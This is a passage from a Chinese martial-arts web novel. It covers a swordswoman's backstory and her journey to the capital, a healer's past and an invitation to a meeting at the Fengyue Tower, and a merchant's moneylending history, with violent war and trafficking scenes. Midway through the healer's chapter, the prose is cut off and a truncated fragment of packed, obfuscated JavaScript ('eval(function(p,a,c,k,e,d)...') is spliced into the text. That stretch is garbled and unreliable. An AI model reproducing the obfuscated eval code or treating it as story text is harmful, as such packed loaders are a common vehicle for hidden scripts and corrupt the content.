她娘被推来推去,摔倒了又爬起来,爬起来又摔倒。 可她一直没有回头。 一直没有看她。 谢霜寒躲在树后,看着这一切。 她想冲出去,想喊,想救她娘。可她的腿不听使唤,她的嘴喊不出声。 她就那样看着,看着那些北狄兵玩够了,把刀捅进她娘的身体。 一刀,两刀,三刀…… 她娘倒下的时候,脸朝着她的方向。 她看见她娘的眼睛,还在看着她。 那眼神她一辈子忘不了。 不是责怪,不是怨恨,是—— 是放心。 她娘在放心。 因为她娘知道,她不会冲出来送死。 因为她娘知道,她会活着。 因为她娘最后说的那句话:别学我软弱。 她娘不是不软弱。她娘这辈子都在软弱,都在怕,都在忍。可最后那一刻,她不软了。 她冲上去,用自己的命,换女儿的命。 谢霜寒在那棵树后躲到天黑。 天黑后,她走出来,走到她娘身边。 她娘躺在地上,身上全是刀口,血把衣裳都染透了。她跪下来,把她娘抱在怀里,抱了很久。 然后她站起来,往山下走。 走到村里,她看见那个被枪尖挑着的婴儿,已经不动了,扔在地上,身上落了一层雪。 她绕过那个婴儿,继续走。 走了不知多久,她走到一个军营门口。 是边军的军营。 她站在门口,看着那些进进出出的士兵,看着那些刀枪剑戟,看着那些火把。 有一个士兵看见她,走过来问:小丫头,你找谁? 她说:我要学杀人。 那士兵愣了一下,然后笑了:小丫头说什么胡话,快回家去。 她说:我没有家了。 那士兵看着她,看着她的眼睛,笑容慢慢消失了。 后来,那个士兵把她带进去,交给了一个老卒。 老卒问她:你为什么要学杀人? 她说:我要杀北狄人。 老卒问:杀多少? 她说:能杀多少杀多少。 老卒看了她很久,说:行,你留下吧。 她在军营里待了三年。 三年里,她学会了骑马,学会了射箭,学会了用刀用剑用枪。老卒教她的时候说,你一个丫头片子,学这些有什么用?上了战场,那些北狄兵一人一口唾沫都能淹死你。 她说:那我就先割了他们的舌头。 老卒被她气笑了。 三年后,她第一次上战场。 那一仗,边军输了,死了两千多人。她活着回来了,身上中了三箭,背上挨了一刀,躺在帐篷里养了两个月。 老卒来看她,问她:怕不怕? 她说:不怕。 老卒说:不怕是假的。不怕的人,都死了。 她没说话。 她不是不怕。她是没空怕。她忙着杀人。 后来她离开军营,一个人在这荒原上住下来。 北狄人年年入关,年年烧杀抢掠。她就年年杀北狄人。有时候一个人,有时候带着几个她救下来的人。她杀得北狄人闻风丧胆,杀得他们管她叫“霜鬼”。 可她知道,她杀得再多,也换不回她娘的命。 换不回那个婴儿的命。 换不回那些年被屠的村、被杀的人。 “阁主?” 阿蘅的声音把她拉回来。 谢霜寒眨了眨眼,发现自己手里的碗已经凉了。她把碗放下,站起身,走出屋子。 外面还是灰蒙蒙的天,白茫茫的地。 她站在院子里,看着远处。 阿蘅跟出来,手里拿着两把木剑,一把递给她。 谢霜寒接过剑,说:“今天教你最后一式。” 阿蘅眼睛亮了:“最后一式?那学会是不是就能杀北狄人了?” 谢霜寒看着她,没有说话。 阿蘅才十一岁,眼睛亮亮的,脸圆圆的,笑起来有两个酒窝。这样的孩子,应该在父母跟前撒娇,应该穿着花衣裳去赶集,应该跟小伙伴一起跳房子。 可她在这荒原上,拿着木剑,想学杀人。 谢霜寒忽然想起她娘。 她娘把她护在身下的时候,是不是也想过,希望她将来能过上好日子?希望她不用像自己一样软弱,也不用像自己一样受苦? 可她没有过上好日子。 她拿起剑,杀人了。 “阁主?”阿蘅又叫她。 谢霜寒回过神,举起木剑:“看好了。” 她开始舞剑。 剑招不快,一招一式,清清楚楚。阿蘅看着看着,忽然觉得眼睛发酸。 因为她发现,阁主的剑招里,没有一个防守的招式。 全是进攻,全是杀人。 没有退路的那种。 一套剑舞完,谢霜寒收剑,看着阿蘅:“记住了吗?” 阿蘅点点头,又摇摇头:“记住了一些,可……可阁主,您为什么不教防守的?” 谢霜寒说:“因为没有防守。” 阿蘅愣了一下。 谢霜寒说:“你防守,他们就攻。你退一步,他们就进十步。你让他们一寸,他们就占你一尺。所以没有防守。只有杀。把他们杀了,你就不用防守了。” 阿蘅似懂非懂地点点头。 谢霜寒把木剑递给她:“练。” 阿蘅接过剑,开始一招一式地练。 谢霜寒站在一边看着,看着她小小的身影在雪地里舞动。 忽然,远处传来马蹄声。 谢霜寒抬起头,看向地平线。 一队人马正朝这边来,大约有二三十骑。马上的人穿着皮袄,戴着皮帽,是北狄人。 阿蘅也看见了,手里的剑停下来。 “阁主……” “继续练。”谢霜寒说。 阿蘅咬了咬嘴唇,继续舞剑。 那队北狄人越来越近,近到能看清他们的脸。为首的是个络腮胡子的大汉,身材魁梧,腰里挎着一把弯刀。 他们在剑阁门口勒住马。 络腮胡子看着谢霜寒,咧嘴笑了:“霜鬼,好久不见。” 谢霜寒看着他,没有说话。 这个人她认识。他叫忽鲁,是北狄的一个千夫长,手下有上千骑兵。他们交过三次手,她杀了他三十多个手下,他砍了她两刀。 “你胆子不小。”谢霜寒说。 忽鲁哈哈大笑:“胆子不小?我带了二十几个人,你只有一个。胆子不小的,是你吧?” 谢霜寒没有笑。 忽鲁收起笑容,看着她:“谢霜寒,我来问你一件事。” 谢霜寒不说话。 忽鲁说:“你剑下可有活口?” 谢霜寒眼神一凛。 忽鲁继续说:“我听说你杀人无数,从不留活口。是真的吗?” 谢霜寒说:“你想说什么?” 忽鲁说:“我想说,你一个女人,杀那么多人,不怕遭报应吗?” 谢霜寒忽然笑了。 她笑起来的样子很难看,嘴角扯动,眼睛里却没有笑意。 “报应?”她说,“你杀那些手无寸铁的百姓的时候,想过报应吗?” 忽鲁脸色变了变,很快又恢复成那副笑脸:“百姓?那是我们北狄人的战利品。你们汉人的百姓,跟我们北狄人的牛羊有什么区别?” 谢霜寒没有说话。 她的手按在剑柄上。 忽鲁看见了,却不慌不忙:“谢霜寒,我今天来不是跟你打架的。我是来给你送信的。” 他从怀里摸出一封信,扔过来。 信落在雪地上。 谢霜寒没有捡。 忽鲁说:“是我们大汗的信。大汗说,你如果愿意归顺我们,就给你一个将军当当。一个女人当将军,在我们北狄可是头一回。” 谢霜寒低头看着那封信,然后抬起头,看着忽鲁。 “你们大汗的将军,”她说,“值几个钱?” 忽鲁脸色一变。 谢霜寒继续说:“你们杀我汉人百姓的时候,想过给我们一个将军当当吗?” 忽鲁的脸色更难看了。 谢霜寒说:“滚。” 忽鲁的手按在刀柄上 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谢霜寒说:“你刚才说的那些人,有老人,有女人,有孩子。你杀了他们,还来跟我说?” 忽鲁张了张嘴,想说什么。 谢霜寒的剑往前递了一寸,剑尖刺破他的皮肤,渗出一滴血。 “我剑下有没有活口,”她说,“你试试就知道了。” 忽鲁的脸白了。 他身后那二十几个北狄兵,没有一个敢动。 谢霜寒看着他,看着他那张恐惧的脸,忽然觉得很没意思。 她收回剑。 “滚。”她说。 忽鲁愣了一瞬,然后猛地一勒缰绳,打马就跑。那二十几个北狄兵也跟着跑,跑得比兔子还快。 谢霜寒站在原地,看着他们消失在茫茫雪原上。 阿蘅跑过来,拉着她的袖子:“阁主,您怎么不杀了他?” 谢霜寒低头看着她。 阿蘅的眼睛里全是不解。 谢霜寒说:“杀了他,还会有别人来。杀不完的。” 阿蘅说:“那怎么办?” 谢霜寒看着远处的雪原,没有说话。 那封信还躺在雪地上,白纸黑字,刺眼得很。 她弯腰捡起来,展开看了一眼,然后撕成碎片,扔在风里。 “走吧。”她说,“回屋。” 阿蘅跟在她身后,走了几步,忽然问:“阁主,您娘是个什么样的人?” 谢霜寒脚步一顿。 她没有回头,没有回答。 阿蘅不敢再问了。 晚上,谢霜寒一个人坐在屋里,对着炉子发呆。 炉火烧得正旺,把她的脸映得忽明忽暗。 她想起白天忽鲁说的那句话:你剑下可有活口? 没有。 她剑下没有活口。 因为她不想留。 那些北狄人,杀了她娘,杀了那个婴儿,杀了那么多无辜的人。她凭什么给他们留活口? 可忽鲁又说了另一句话:去年你在黑风口救的那批人,后来怎么样了? 她不知道。 她救了他们,把他们送到安全的地方,然后就去杀别的北狄人了。她以为他们安全了。 可他们没有。 他们还是死了。 死了多少人?怎么死的?老人是怎么被杀的?女人是怎么被糟蹋的?孩子是怎么被炖成汤的? 她不知道。 她只知道,她救不了他们。 她杀了那么多北狄人,可她还是救不了他们。 谢霜寒闭上眼睛。 黑暗中,她看见她娘的脸。 她娘说:别学我软弱。 她没有软弱。 她拿起剑,杀了二十年。 可她娘有没有想过,不软弱的路,是这样的? 是这样的孤独,是这样的冷,是这样的——没有尽头? 炉火烧得噼啪响。 窗外,风还在刮。 谢霜寒睁开眼,从怀里摸出一样东西。 是那个商人留下的信。她已经烧了,可她记住了上面的地址。 风月楼,京城东城,胭脂河边。 腊月廿八,酉时。 她不知道那里有什么,不知道那个叫谢知微的女人想干什么。 可她想去看看。 不是为了什么大事,不是为了什么改变世道。 就是想看看。 看看那些跟她一样的人,是怎么活的。 她把那纸片凑近炉火,看着它燃尽。 然后站起身,走到门口,推开门。 外面是黑沉沉的天,白茫茫的地。 风夹着雪沫子扑在她脸上,冷得像刀子。 她站在风雪里,忽然想起母亲最后那句话。 别学我软弱。 她没有。 可她想问问母亲:如果可以选择,您愿意我这样活着吗? 风雪呜咽,没有回答。 远处,传来狼嚎。 一声接一声,凄厉得像鬼哭。 谢霜寒听了一会儿,转身回屋。 第二天一早,阿蘅醒来的时候,发现谢霜寒已经收拾好了行李。 “阁主?”阿蘅揉着眼睛,“您要出门?” 谢霜寒点点头。 阿蘅愣了一下:“去哪儿?” “京城。” 阿蘅的眼睛瞪圆了:“京城?那……那您什么时候回来?” 谢霜寒看着她,没有回答。 她也不知道什么时候回来。也许很快,也许再也不回来。 阿蘅站在那儿,眼泪在眼眶里打转。 谢霜寒走过去,伸手摸了摸她的头。 “剑练好了,等我回来检查。” 阿蘅用力点头,眼泪终于掉下来。 谢霜寒没有再说什么,背起行李,走出门。 外面雪停了,天边露出一线灰白。 她跨上马,最后看了一眼那个土坯垒成的院子,看了一眼站在门口抹眼泪的阿蘅。 然后一抖缰绳,打马向南。 马蹄踏在雪地上,发出咯吱咯吱的响声。 风从耳边刮过,冷得刺骨。 她忽然想起很多年前,她也是这样骑着马,从那个被屠的村子里出来,往军营去。 那时候她六岁,什么都不懂,只知道要杀人。 现在她二十六岁,杀了二十年,还是只知道要杀人。 可她开始想了。 想为什么杀人,杀完人之后怎么办,杀不完怎么办。 也许那个叫谢知微的女人,能告诉她答案。 也许不能。 但总要去看看。 她这一辈子,没离开过这片荒原。 这是第一次。 马跑得很快,把剑阁远远甩在后面。 她没有回头。 ——第二章完—— 4. 白芷的毒与慈(医中圣主线) 医谷不在山谷里,在京城西郊的一座小山上。 山不高,也不险,漫山遍野种着草药。夏天的时候,远远就能闻到一股药香,苦中带甘,像熬了八百年的老汤。可现在是腊月,草木凋零,只剩下一片灰扑扑的枯枝,在寒风里瑟瑟发抖。 山顶上有三间瓦房,坐北朝南,门前挂着一块匾:医谷。 没有“白家”,没有“白氏”,就这两个字。 白芷坐在堂屋里,对着一炉火发呆。 炉上坐着一个药罐,咕嘟咕嘟冒着热气。药香弥漫开来,是安神的方子,给她自己熬的。她这几日睡不好,一闭眼就做梦,梦见的都是些陈年旧事。 门外传来脚步声,轻轻的,小心翼翼的。 白芷没有回头,只说了一句:“进来。” 门开了,进来的是个十来岁的小姑娘,穿着半旧的棉袄,脸冻得红扑扑的。她手里端着一碗热汤,走到白芷身边,把汤放在她手边的小几上。 “姐姐,喝汤。”小姑娘说。 白芷低头看了一眼那碗汤。是鸡汤,上面漂着一层金黄色的油花,香气扑鼻。 “你自己熬的?”她问。 小姑娘点点头:“嗯,用您上次买的那只鸡,熬了两个时辰呢。” 白芷端起碗,喝了一口。 烫的,鲜的,暖到心里。 她看着站在旁边的小姑娘,看着她那双亮晶晶的眼睛,忽然想起第一次见到她的时候。 那是三年前的事了。 那年冬天,白芷刚从师父那里出师,在京城开了这家医馆。说是医馆,其实就是这三间破瓦房,她自己住一间,剩下两间用来给病人住。 那天夜里,有人敲门。 她开门一看,外面站着一个五六岁的小女孩,浑身是血,怀里抱着一个襁褓。 小女孩看见她,只说了一句话:“救救我妹妹。” 然后就倒下了。 白芷把她们抱进来,给小女孩治伤,给襁褓里的婴儿喂药。 小女孩身上有七八道刀伤,最深的一道从肩膀一直划到腰,差点把她的脊椎砍断。她不知道这孩子是怎么撑到这里的,也不知道她抱着妹妹走了多远的路。 她只知道,这孩子活下来,是奇迹。 婴儿倒是没受伤,只是饿坏了。她给喂了点米汤,婴儿就睡着了。 小女孩昏迷了三天三夜。 第三天夜里,她醒了。 白芷问她:“你叫什么?你家在哪儿?是谁砍的你?” 小女孩看着她,不说话。 白芷又问了一遍。 小女孩还是不说话,只是把眼睛闭上,眼泪从眼角流下来,流进耳朵里。 白芷没有再问。 她收留了她们。 后来她才知道,小女孩叫阿茴,婴儿叫阿苓。她们家在一个叫黑风口的地方,北狄人来了,把村里人都杀了。她娘把她们藏在柜子里,自己冲出去引开北狄人。阿茴在柜子里听着外面的动静,听见她娘的惨叫声,听见北狄人的笑声,听见火烧房子的噼啪声。 她抱着妹妹,在柜子里躲了一天一夜。 然后她出来,抱着妹妹,一路走,一路问,走到了京城。 白芷问她:“你怎么知道往京城走?” 阿茴说:“我娘说的。我娘说,京城有大夫,能治病。” 白芷沉默了。 阿茴的娘是个普通的农妇,一辈子没出过远门,可她临死前,还记得告诉女儿,往京城走,京城有大夫。 那个大夫,就是白芷。 可白芷救不了她娘。 她只能救她女儿。 “姐姐?” 阿茴的声音把白芷拉回来。 白芷眨了眨眼,发现那碗鸡汤已经喝完了。她把碗放下,看着阿茴。 “阿苓呢?” “睡了。”阿茴说,“刚喂过药,这会儿睡得正香。” 白芷点点头。 阿苓身体弱,从小就是个药罐子。她给调理了三年,总算好了一些,可一到冬天还是容易咳,咳起来整夜整夜睡不着。 “姐姐,”阿茴忽然说,“您今天是不是有心事?” 白芷看着她。 阿茴今年九岁了,可那双眼睛看着人的时候,比大人还像大人。那是在刀尖上滚过的孩子才有的眼神。 “没有。”白芷说。 阿茴不相信:“那您怎么又熬安神的药?您这几天都没睡好吧?” 白芷没有回答。 她站起来,走到窗边,看着外面灰蒙蒙的天。 阿茴跟过来,站在她身边,不再问了。 她知道姐姐不想说的时候,问也没用。 窗外,远处传来马蹄声。 白芷抬头看去,山道上来了一个人。骑着马,穿着绸缎,一看就是有钱人。 那人在医谷门口勒住马,翻身下来,走到门前,敲了敲门。 阿茴去开门。 门外站着一个年轻女子,二十出头,穿着湖绿色的袄裙,外头罩着白狐皮的斗篷,头上戴着金钗,耳朵上戴着明珠,浑身上下都在发光。 她看见阿茴,愣了一下,然后笑盈盈地问:“小妹妹,白大夫在家吗?” 阿茴回头看了一眼白芷。 白芷点点头。 阿茴把门打开,让那女子进来。 女子走进堂屋,看见白芷,笑容更深了:“白大夫,久仰大名。” 白芷看着她,没有笑。 “你是谁?” 女子从袖子里摸出一张名帖,双手递过来:“小女子苏锦,江南来的,做点小生意。” 白芷接过名帖,看了一眼。 苏锦。江南首富苏家的当家人。人称“商中狐”。 “苏老板来我这破地方做什么?”白芷把名帖还给她。 苏锦笑道:“来求医。” 白芷上下打量了她一眼:“你看着不像有病的样子。” 苏锦笑得更好看了:“白大夫好眼力。我这病不在身上,在心里。” 白芷没有说话。 苏锦继续说:“我听说白大夫医术高明,能治人不能治之病。所以特地来求一求。” 白芷看着她那张笑脸,忽然想起一个人。 那个人也是这样笑的,笑着笑着,就把刀子捅进你心窝里。 “苏老板,”白芷说,“我的诊金很贵。” 苏锦笑容不变:“多少?” 白芷说:“一千两。” 阿茴在旁边倒吸一口凉气。 苏锦却连眼睛都没眨一下:“行。” 她从袖子里摸出一叠银票,数了十张,放在桌上。 白芷看着那叠银票,没有动。 “苏老板,”她说,“你花一千两银子,就为了让我看看你的心病?” 苏锦笑道:“白大夫的医术,值这个价。” 白芷看着她,忽然笑了。 “行。”她说,“那就请苏老板坐下,让我看看你的心。” 苏锦在椅子上坐下,把手腕伸出来。 白芷搭上她的脉,闭上眼睛。 过了一会儿,她睁开眼,看着苏锦。 “苏老板,”她说,“你没什么心病。” 苏锦笑容一僵。 白芷继续说:“你有的是算计。你来找我,不是为了治病,是为了别的。” 苏锦的笑容慢慢收起来。 两个人就这么对视着。 阿茴在旁边大气都不敢出。 过了一会儿,苏锦忽然笑了。 “白大夫果然名不虚传。”她说,“那我就不绕弯子了。” 她从怀里摸出一封信,放在桌上。 “有人让我给您带个信。” 白芷拿起信,拆开。 信上只有八个字:腊月廿八,风月楼,酉时。 落款是一朵梅花。 白芷看着那朵梅花,手指微微收紧。 苏锦看着她,目光幽深:“白大夫认识这个人?” 白芷把信叠好,收进袖子里。 “不认识。”她说。 苏锦笑了:“不认识?那您怎么——” “苏老板,”白芷打断她,“你的事办完了,可以走了。” 苏锦笑容一僵。 白芷站起身,走到门口,把门拉开。 “请。” 苏锦看着她,眼睛里闪过一丝异样的光芒。 她没有动。 白芷回过头,看着她。 苏锦忽然说:“白大夫,我知道您是谁。” 白芷眼神一凛。 苏锦继续说:“您父亲叫白青山,是当年江南最有名的大夫。因为救了一个不该救的人,被人诬陷,满门抄斩。您能活下来,是因为那天您不在家。” 白芷的手握成拳。 苏锦看着她,慢慢站起来,走到她面前。 “白大夫,”她说,“我也是从死人堆里爬出来的。我妹妹被人卖进青楼,我拼了命把她救出来。所以我懂您。懂您为什么躲在这山里,懂您为什么不相信任何人。” 白芷没有说话。 苏锦看着她,忽然伸出手,在她手背上轻轻拍了一下。 “腊月廿八,风月楼。”她说,“我等着您。” 然后她走出门,翻身上马,打马下山。 白芷站在门口,看着她消失在灰蒙蒙的山道上。 风刮过来,冷得刺骨。 阿茴走到她身边,小声问:“姐姐,那个人是谁?” 白芷没有回答。 她转身回屋,走到炉边坐下,看着那叠银票发呆。 一千两。 够她和阿茴阿苓吃好几年了。 可她知道,这一千两不是诊金,是买路钱。买她去风月楼的路。 腊月廿八。 还有五天。 她不知道风月楼里有什么,不知道那个写信的人想干什么。 可她想起苏锦说的那句话:您父亲叫白青山,是当年江南最有名的大夫。因为救了一个不该救的人,被人诬陷,满门抄斩。 她当然记得。 她怎么可能忘? 那年她十二岁。 那天她跟着师父上山采药,不在家。 等她和师父回来,家已经没了。 房子烧成了白地,到处都是血。她爹的头被砍下来,挂在门口的大槐树上。她娘和她弟弟妹妹的尸体,被扔在院子里,堆成一堆。 她站在那堆尸体前面,没有哭,没有喊。 师父拉着她走,她就跟着走。 走了三天三夜,走到一个没人的地方。 师父说,想哭就哭吧。 她说,不哭。 师父说,不哭也行,那你就记住今天。 她说,我记住了。 她真的记住了。 她记住了那个告密的人的脸,记住了那个刽子手的刀,记住了那些围观的人的笑。 可她也记住了另一些事。 她记得她爹救过的那些人。有的给她爹磕过头,有的送过鸡蛋,有的写过感谢信。那些人,没有一个站出来替她爹说话。 她爹的罪名是“勾结乱党,图谋不轨”。因为他救的那个人,是个被朝廷通缉的“逆贼”。 可她爹不知道那个人是逆贼。 那个人受了重伤,倒在她家门口,她爹救了他。仅此而已。 可官府不这么看。 他们说,救逆贼的人,就是逆贼的同党。 所以她爹死了。她娘死了。她弟弟妹妹死了。 满门抄斩,一个不留。 只有她活着。 因为她那天不在家。 师父问她:你想报仇吗? 她说:想。 师父说:那你就好好学医。学好了,才能报仇。 她学了十年。 出师那天,师父问她:现在能报仇了吗? 她说:能。 师父说:那你为什么不去? 她想了很久,说:不知道找谁报仇。 师父笑了,笑得眼泪都出来了。 她说:师父,您笑什么? 师父说:我笑你。笑你和你爹一样,心太软。 她不明白。 师父说:你爹救了那么多人,可那些人没有一个救他。你学了十年医,能杀人也能救人,可你下不去手。为什么?因为你跟你爹一样,心里装着一团软的东西。 她说:那怎么办? 师父说:没办法。天生的。改不了。 她沉默了。 师父拍拍她的肩:算了,软就软吧。软的人,活得累,但活得久。因为你舍不得死,舍不得那些放不下的人。 她想起师父的话,再看看眼前这叠银票,忽然笑了。 软的人,活得累。 她确实活得累。 可她也确实舍不得死。 因为还有阿茴和阿苓。 因为还有那些病人。 因为—— 因为她还想看看,这个世道,到底能不能变一变。 “姐姐?” 阿茴的声音又响起来。 白芷回过神,发现阿茴站在她面前,一脸担心。 “姐姐,您没事吧?” 白芷摇摇头,站起来,走到药罐边,把熬好的药倒进碗里。 药是黑色的,苦味冲鼻。 她端起碗,正要喝,忽然听见后院传来一阵咳嗽声。 是阿苓。 她放下碗,快步往后院走。 阿茴跟在后面。 后院的屋子里,阿苓躺在床上,小脸咳得通红。她看见白芷进来,挣扎着想坐起来。 白芷按住她:“别动。” 她伸手搭上阿苓的脉,又看了看她的舌头,摸了摸她的额头。 “没事,着凉了。”她说,“阿茴,去把我放在柜子里的那包药拿来。” 阿茴应声而去。 白芷坐在床边,看着阿苓。 阿苓今年六岁,瘦瘦小小的,长得像她娘。她娘死的时候,阿苓还在吃奶,根本不记得她娘长什么样。可白芷见过她娘——在阿茴的描述里,在阿苓的脸上。 “姐姐,”阿苓小声说,“我是不是又病了?” 白芷摇摇头:“没有,就是着凉了。喝两副药就好了。” 阿苓“嗯”了一声,忽然问:“姐姐,我娘长什么样?” 白芷愣了一下。 阿苓说:“阿茴姐姐说,我娘长得好看。可她说不清楚到底什么样。姐姐见过我娘吗?” 白芷看着她那双亮晶晶的眼睛,忽然说不出话来。 她没见过阿苓的娘。 她只知道,那个农妇为了救自己的女儿,冲出去引开北狄人,被杀了。 她只知道,那个农妇临死前,还在想着让女儿往京城走,找大夫。 那个大夫,是她。 可她救不了那个农妇。 她只能救她的女儿。 “姐姐?”阿苓又叫她。 白芷回过神,轻轻摸了摸她的头:“你娘……长得很好看。眼睛跟你一样亮,笑起来有两个酒窝。” 阿苓眼睛亮了:“真的?” 白芷点点头:“真的。” 阿苓笑了,笑着笑着,又咳起来。 白芷把她抱在怀里,轻轻拍着她的背。 阿茴拿着药包进来,看见这一幕,站在门口没有动。 白芷抬起头,看着阿茴。 阿茴的眼睛红红的,可她忍着没哭。 白芷忽然想起苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那个写信的人,知道她爹的事吗? 知道她是谁吗? 知道她心里藏着什么吗? 白芷不知道。 但她想知道。 她关上窗,走回床边,看着阿苓的睡脸。 阿苓睡得正香,小嘴微微张开,像个小孩子该有的样子。 白芷看着她,忽然想起苏锦说的另一句话:我等着您。 等着。 她等什么? 等她去风月楼?等她加入她们?等她一起做那件“大事”? 白芷不知道。 但她知道,她想去看看。 不为别的。 就为了有一天,阿苓醒来的时候,能活在一个不一样的世道里。 第二天一早,白芷被一阵敲门声惊醒。 她披上衣服去开门,门外站着一个妇人,满脸焦急,怀里抱着一个孩子。 “大夫!大夫!救救我儿子!” 白芷接过孩子,放在床上,开始诊治。 孩子发着高烧,烧得浑身滚烫,已经昏迷了。 白芷给他扎了几针,又开了方子,让妇人去抓药。 妇人千恩万谢地走了。 白芷站在门口,看着她的背影。 阿茴走过来,站在她身边。 “姐姐,”阿茴说,“您又没收诊金?” 白芷摇摇头。 阿茴叹了口气:“姐姐,您这样,咱们迟早要喝西北风。” 白芷笑了:“不会的。昨天不是有人送来一千两吗?” 阿茴愣了一下,然后也笑了。 笑着笑着,她忽然问:“姐姐,您真的要去那个什么风月楼吗?” 白芷看着她。 阿茴的眼睛里全是担心。 白芷摸摸她的头:“去。” 阿茴咬了咬嘴唇:“那我跟您一起去。” 白芷摇摇头:“你留下,照顾阿苓。” 阿茴想说什么,被白芷止住。 “听话。”白芷说,“我很快就回来。” 阿茴看着她,眼泪在眼眶里打转。 白芷把她抱进怀里,抱了一会儿。 然后松开,转身回屋。 她需要准备一些东西。 药。针。还有——毒。 因为她不知道,风月楼里等着她的,是朋友还是敌人。 腊月二十八那天,白芷一早起来,换了身干净衣裳,背上药箱,准备出门。 阿茴拉着阿苓,站在门口送她。 “姐姐,早点回来。”阿苓说。 白芷点点头,弯腰抱了抱她,又抱了抱阿茴。 然后她转身,沿着山道往下走。 走出几步,她忽然停下来,回过头。 “阿茴,”她说,“如果有人来找我,就说我出门了,不知道什么时候回来。” 阿茴点点头。 白芷又看了她们一眼,然后继续往下走。 山道两边全是枯草,风一吹,沙沙响。 她走得很慢,一边走一边想。 想这些年的事,想那些人,想那些仇。 可她想着想着,忽然想起另一件事。 苏锦来找她的时候,说她的病“得用金子医”。 她当时回了一句:“苏老板的病,得用金子医。” 那只是一句玩笑话。 可现在想想,苏锦的病,确实得用金子医。 苏锦的病,是恨。 是那个把她妹妹卖进青楼的世道。 是那个让她不得不变成“商中狐”的世道。 而她自己的病呢? 她的病,是什么? 是忘不了的那些事?是放不下的那些人?是心里那团软的东西? 她不知道。 但她知道,那个叫谢知微的女人,也许知道。 因为那个女人也跟她一样,从死人堆里爬出来。 因为那个女人也跟她一样,想换一个活法。 山道走到尽头,是一条官道。 官道上停着一辆马车。 马车旁边站着一个人。 苏锦。 她看见白芷,笑了。 “白大夫,我猜您会来。” 白芷看着她,没有说话。 苏锦掀开车帘:“上车吧,风月楼还远着呢。” 白芷看了一眼那辆马车,又看了一眼苏锦。 然后她上了车。 马车动起来,车轮压在雪地上,咯吱咯吱响。 白芷坐在车里,看着对面的苏锦。 苏锦也在看着她。 两个人就这么对视着。 过了一会儿,苏锦忽然说:“白大夫,您不怕我是来害您的?” 白芷说:“怕。” 苏锦笑了:“那您还来?” 白芷说:“我想看看,你到底想干什么。” 苏锦看着她,笑容慢慢收起来。 “白大夫,”她说,“我想干的事,跟您一样。” 白芷问:“什么?” 苏锦说:“换一个活法。” 白芷没有说话。 马车继续往前走。 窗外,天灰蒙蒙的,像要下雪。 白芷看着窗外,忽然想起师父说的话:软的人,活得累,但活得久。 她不知道自己能活多久。 但她知道,从今天起,她不再是一个人活了。 ——第三章完—— 5. 苏锦的算与赌(商中狐主线) 第四章苏锦的算与赌 江南的冬天,和京城不一样。 京城的冷是干的,刀子一样刮在脸上;江南的冷是湿的,往骨头缝里钻,躲都躲不开。苏锦在这湿冷里坐了三天船,从扬州到京城,吐得昏天黑地,下船的时候腿都是软的。 可她还是来了。 因为那封信。 腊月二十那天的傍晚,苏锦在扬州城的苏府里算账。 账本堆了三尺高,都是今年各处的进项。绸缎庄、钱庄、当铺、米行,还有那些不能摆在明面上的买卖——放贷、贩盐、官商勾结。她一个一个看过去,手指拨着算盘,噼里啪啦响了一下午。 窗外天黑了,丫鬟进来掌灯,她头也不抬:“下去,别扰我。” 丫鬟吓得缩着脖子退出去。 苏锦继续算账。 算到最后一本,她停住了。 那是一本旧账,封皮都磨破了,边角卷起来,黄得发脆。她翻开,一页一页看过去,看的不是数字,是那些名字。 张三,借银五两,三分利,逾期未还。张三家有一个女儿,十四岁,抵债,卖入春风院。 李四,借银八两,三分利,逾期未还。李四家有一个女儿,十二岁,抵债,卖入醉香楼。 王五,借银三两,三分利,逾期未还。王五家有两个女儿,一个十岁,一个八岁,抵债,卖入——卖入哪里来着?她忘了。 她合上账本,闭上眼睛。 那些名字她记得,那些数字她记得,那些女儿的去向她记得。她每一个都记得。因为每一笔账,都是她亲手记的。 苏锦,江南首富,商中狐。 她有钱,有很多很多钱。扬州城的半条街是她家的,钱庄开遍了江南,当铺开到京城,连宫里用的绸缎都是她家的贡品。 可这些钱是怎么来的? 是放贷来的。是高利贷来的。是那些还不起债的人,用房子、用田地、用女儿来抵债来的。 她的妹妹苏绣,就是这么被卖掉的。 那年她十岁,苏绣七岁。 她爹是个小商人,做点布匹生意,本来日子还过得去。可她爹贪心,想赚大钱,跟人合伙做生意,被人骗了,欠了一屁股债。 债主上门那天,她和她娘躲在里屋,从门缝里往外看。 她爹跪在地上磕头,磕得额头鲜血直流。债主坐在椅子上,翘着二郎腿,嗑着瓜子,一口一口往地上吐瓜子皮。 “没钱?”债主说,“没钱也行,拿东西抵。” 她爹说:“家里值钱的都让您搬走了,实在没有了。” 债主笑了笑,往里屋看了一眼。 “那不是还有两个丫头吗?” 她爹的脸色变了。 债主说:“两个丫头,算你二十两。剩下的债,一笔勾销。” 她爹跪在那儿,浑身发抖。 债主等了半天,没等到他说话,把瓜子皮一吐,站起来:“行,不答应是吧?那咱们官府见。你这欠债不还,可是要吃板子的,吃完了板子还得蹲大牢。你自己掂量。” 债主走了。 她爹在地上跪了一夜。 第二天,她和她娘被从里屋拉出来。她爹站在院子里,不敢看她们。 她娘哭着求他,他转过身,背对着她们。她妹妹哭着喊爹,他捂住耳朵,蹲在地上。 她们被带走了。 她被卖到一家当铺当学徒,她妹妹被卖进了青楼。 那年她十岁,她妹妹七岁。 她在当铺里干了五年,从学徒干到账房,从账房干到二掌柜。她学会了算账,学会了看人,学会了怎么把一分钱掰成两半花。 十五岁那年,她攒够了钱,去青楼赎她妹妹。 青楼的老鸨说,你妹妹啊,早就死了。来了第二年就死了。怎么死的?病死的。这种地方,病死个丫头算什么? 她站在青楼门口,站了很久。 然后她回去,继续干活。 二十岁那年,她已经是当铺的大掌柜了。老板死了,没有儿子,她把当铺买下来,成了自己的。 然后她开始放贷。 那些年,她放了很多贷。给穷人的,给商人的,给官的。她算得比谁都精,看得比谁都准。她知道谁还得起,谁还不起;知道谁该放,谁不该放。 她还知道,那些还不起的人,会拿什么来抵债。 房子,田地,女儿。 她一个一个收进来,一个一个卖出去。 有人骂她黑心,有人骂她丧良心,有人骂她是“商中狐”——狐狸精变的,专门吸人血。 她听了只是笑。 黑心?她爹才黑心。为了自己不吃板子,把亲生女儿卖了。丧良心?这世道什么时候有过良心?商中狐?狐狸怎么了?狐狸活得久,狐狸不吃亏。 她就这么活到二十五岁,活成了江南首富。 可每到夜里,算完账之后,她还是会打开那本旧账本,一页一页翻。 